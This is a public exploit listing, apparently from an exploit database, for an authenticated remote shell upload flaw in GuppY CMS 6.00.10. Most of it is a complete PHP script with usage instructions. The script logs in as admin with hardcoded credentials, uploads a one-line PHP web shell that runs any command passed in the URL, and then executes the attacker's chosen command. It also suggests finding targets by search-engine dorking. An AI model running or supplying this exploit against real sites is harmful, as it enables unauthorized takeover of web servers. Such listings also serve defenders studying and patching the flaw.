Exploit for 📄 GuppY CMS 6.00.10 Shell Upload

## https://sploitus.com/exploit?id=PACKETSTORM:212244
=============================================================================================================================================
    | # Title     : GuppY CMS 6.00.10 php Code Execution Vulnerability                                                                          |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 136.0.0 (64 bits)                                                            |
    | # Vendor    : https://www.freeguppy.org/                                                                                                  |
    =============================================================================================================================================
    
    POC :
    
    [+] Dorking İn Google Or Other Search Enggine.
    
    [+] Code Description: GuppY CMS version 6.00.10 suffers from an authenticated remote shell upload vulnerability.
    
    [+] Improvements : (Related : https://packetstorm.news/files/id/168584/ Related CVE numbers:   ) .
    
        Fixed CURLOPT_* bugs.
    	
        Improved input checking (getopt).
    	
        Improved handling of cookie.txt using a temporary file.
    	
        Added urlencode($command) to ensure no problems with special characters.
    	
        Improved HTTP code checking and response more accurately.
    
    [+] save code as poc.php.
    
    [+] Usage : php poc.php -u http://target.org/ -c whoami
    
    [+] PayLoad :
    
    #!/usr/bin/php
    <?php
    
    $username = "Admin";
    $password = "rose1337";
    
    $options = getopt('u:c:');
    if(empty($options['u']) || empty($options['c'])) {
        die("\n GuppY 6.00.10 CMS Remote Code Execution \n Usage : php exploit.php -u http://target.org/ -c whoami\n\n");
    }
    
    $target = $options['u'];
    $command = $options['c'];
    
    $cookie = tempnam(sys_get_temp_dir(), 'cookie_');
    
    // تسجيل الدخول كمشرف
    $url = "{$target}guppy/connect.php";
    $postdata = "connect=on&uuser=old&pseudo=".$username."&uid=".$password;
    $curlObj = curl_init();
    
    curl_setopt_array($curlObj, [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_HEADER => 1,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_POSTFIELDS => $postdata,
        CURLOPT_POST => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_CONNECTTIMEOUT => 10,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_COOKIEJAR => $cookie,
        CURLOPT_COOKIEFILE => $cookie
    ]);
    
    $result = curl_exec($curlObj);
    
    // رفع Web Shell
    $url2 = "{$target}guppy/admin/admin.php?lng=en&pg=upload";
    $post = '------WebKitFormBoundarygA1APFcUlkIaWal4
    Content-Disposition: form-data; name="rep"
    
    file
    ------WebKitFormBoundarygA1APFcUlkIaWal4
    Content-Disposition: form-data; name="ficup"; filename="shell.php"
    Content-Type: application/x-php
    
    <?php system($_GET["cmd"]); ?>
    
    ------WebKitFormBoundarygA1APFcUlkIaWal4--
    ';
    
    $headers = [
        'Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygA1APFcUlkIaWal4',
        'User-Agent: Mozilla/5.0',
        'Accept-Encoding: gzip, deflate',
        'Accept-Language: en-US,en;q=0.9'
    ];
    
    curl_setopt_array($curlObj, [
        CURLOPT_URL => $url2,
        CURLOPT_POSTFIELDS => $post,
        CURLOPT_HTTPHEADER => $headers,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_FOLLOWLOCATION => true
    ]);
    
    $data = curl_exec($curlObj);
    
    // تنفيذ الأمر
    $shell = "{$target}guppy/file/shell.php?cmd=" . urlencode($command);
    curl_setopt_array($curlObj, [
        CURLOPT_URL => $shell,
        CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded'],
        CURLOPT_POST => false,
        CURLOPT_RETURNTRANSFER => true
    ]);
    
    $exec_shell = curl_exec($curlObj);
    $code = curl_getinfo($curlObj, CURLINFO_HTTP_CODE);
    
    if ($code < 200 || $code >= 300) {
        echo "\n[-] Something went wrong! HTTP Code: $code\n";
    } else {
        print("\n$exec_shell\n");
    }
    
    curl_close($curlObj);
    unlink($cookie);
    ?>
    
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================